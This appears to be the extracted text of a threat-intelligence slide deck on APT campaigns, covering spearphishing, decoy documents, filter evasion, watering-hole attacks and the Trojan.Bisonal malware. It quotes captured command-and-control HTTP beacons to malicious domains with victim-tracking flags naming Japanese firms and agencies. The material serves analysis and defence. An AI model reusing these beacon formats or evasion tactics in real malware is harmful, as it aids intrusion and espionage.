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APTs By The Dozen: Dissecting Advanced 
Attacks



► Blocked Windows protocols on external firewalls
► Enforced auth. tokens and VPN usage
► Bolstered patching regimens
► Installed IDS/IPS @ gateway/desktop
► Segmented networks to contain worm damage

Organizations respond to commodity threats



► System gets exploited
► Drive-by attacks in browsing
► Links in targeted emails
► Attachments in targeted emails

► Dropper malware installs
► First step to establish control
► Calls back out to criminal servers
► Found on compromised sites, and Web 

2.0, user-created content sites

► Malicious data theft and long-term 
control established
► Uploads data stolen via keyloggers, 

Trojans, bots, and life grabbers
► One exploit leads to dozens of infections 

on same system
► Criminals have built long-term control 

mechanisms into system 

Advanced malware infection lifecycle 

Desktop antivirus
Losing the threat arms race
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Simple Reconnaissance (h/t google)



Attacks on the Supply Chain are common



Redacted



RSA Spearphish (h/t @mikko)

Redacted



URL filters are trivial to defeat by humans



URL filters are trivial to defeat by humans



Biggest deal in IAF.pdf – taunting the target



Biggest deal in IAF.pdf – taunting the target



Technical attribution is difficult based not knowing 
which indicators were placed there to throw off the 
investigation.

“Rising, Mother F***er!”

RUI XING CAO NI MA



(redacted) (source:VT)



CEOs are (obviously) targeted



Could you stop this?



Decoy documents are the norm



Targeted threats must pass the “sniff test”



Resumes are pulled from CareerBuiler.com





Builders are frequently used for the b-teamers    (h/t Kurt B, Nick I)



APT1 is not advanced, but very successful



► Microsoft Excel “FEATHEADER” Record Remote Code 
Execution Vulnerability (CVE-2009-3129)
► Are there exploit kits developed based on this vulnerability?
► Are there metadata info that we can analyze from the excel file to 

detect this class of attack?
► Is this a common attack being seen in the field?

CVE-2009-3129



AV detection still poor



Pinnacle Island Dispute







► Targets mainly Japanese organizations
► Delivered via weaponized doc/xls files
► Embeds the target name into the command and control 

traffic

The curious case of Trojan.Bisonal



GET /j/news.asp?id=* HTTP/1.1 
User-Agent: flag:khi host:Business IP:10.0.0.43 
OS:XPSP3 vm:�� proxy:��
Host: online.cleansite.us 
Cache-Control: no-cache 
-------------
GET /a.asp?id=* HTTP/1.1 
Accept: */* 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; 
Windows NT 5.1; Trident/4.0;.NET CLR 2.0.50727; .NET CLR 3.0.04506.648; 
.NET CLR 3.5.21022) 
Host: khi.acmetoy.com
Connection: Keep-Alive 

Custom  “flag” and c2 domain – used to track victim



Custom  “flag” and c2 domain
GET 
/rc/news1.asp?id=flag:831nec%20host:Remote%20PC%20IP:169.
254.100.12%20OS:XPSP2%20vm:..%20proxy:.. HTTP/1.1 
User-Agent: flag:831nec host:Remote PC IP:169.254.100.12 
OS:XPSP2 vm:.. proxy:.. 
Host: onlinejilu.4pu.com 

GET /a.asp?id=* HTTP/1.1 
Accept: */* 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 
.NET CLR 2.0.50727; .NET CLR 3.0.04506.30) 
Host: necnec.dns04.com
Connection: Keep-Alive 



► Flag:8080
► Flag:84d
► flag:boat
► Flag:d2
► Flag:dick
► flag:ihi – IHI Corp

► flag:nec01 – NEC corporation

► flag:nsc516 – Nippon Steel Corp

► flag:nids – Nat’l Inst. for Defense Studies 

► Flag:712mhi – Mitsubishi-heavy industries

► flag:410maff – Ministry of Agriculture,  Forestry, and Fisheries

Other “flag”s seen
► flag:1223
► flag:jsexe
► Flag:727x
► flag:jyt
► Flag:m615
► flag:toray
► Flag:MARK 1
► Flag:qqq



Taiwan-US Beef Crisis a Lure



Language specific attacks are easy when the victim 
speaks Chinese…



Same target hit over and over



The adversary will compromise your friends



Grunts exist to do menial tasks



Different email for every run



Grunts evade url filters!



Pretending to be Russian attackers?



An interesting  way to move laterally



Evading dns detection using http based lookups



The same attackers use the same themes



Even I am a target!



.CN character set





Decoy content is FireEye.com



Tracking back the email…



Email filters are trivial to evade



Four spearphishes from same box



SMTP+GUI based email



Many countries do “offense”…



Backdoor.LV --- Middle Eastern Attackers



Links vs. Attachments by month



I’d assume you know what a link looks like…



Offense: ▲Watering Hole Methods

• Growing in popularity among nation-state threat actors
• Useful when precise targeting intel is unknown
• Compromise web site likely visited by target
• Start campaign when target is distracted (e.g. holidays)
• Once victim compromised, cleanup site
• Or, leave exploit for opportunistic

attacks

54



Council of Foreign Relations (CFR) Attack

• Zero‐day attack
 Targets IE 8.0 browsers with OS language English, Chinese, Japanese, Korean, or Russian
 Delivered only once per user

• Infection vector: Drive‐by downloads targeting visitors to www.cfr.org
• Exploits vulnerability in Internet Explorer 8.0
• CFR  influential in US foreign policy decisions

 Accessed by high ranking government officials, including former presidents, secretaries of state, 
ambassadors, and leaders of industry

• Perpetrated by nation state actors
 Goal seems to be to gather business and/or military intelligence



Watering hole AKA “strategic web compromise”
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Analyzing the choices humans make in 
aspects of targeted attacks


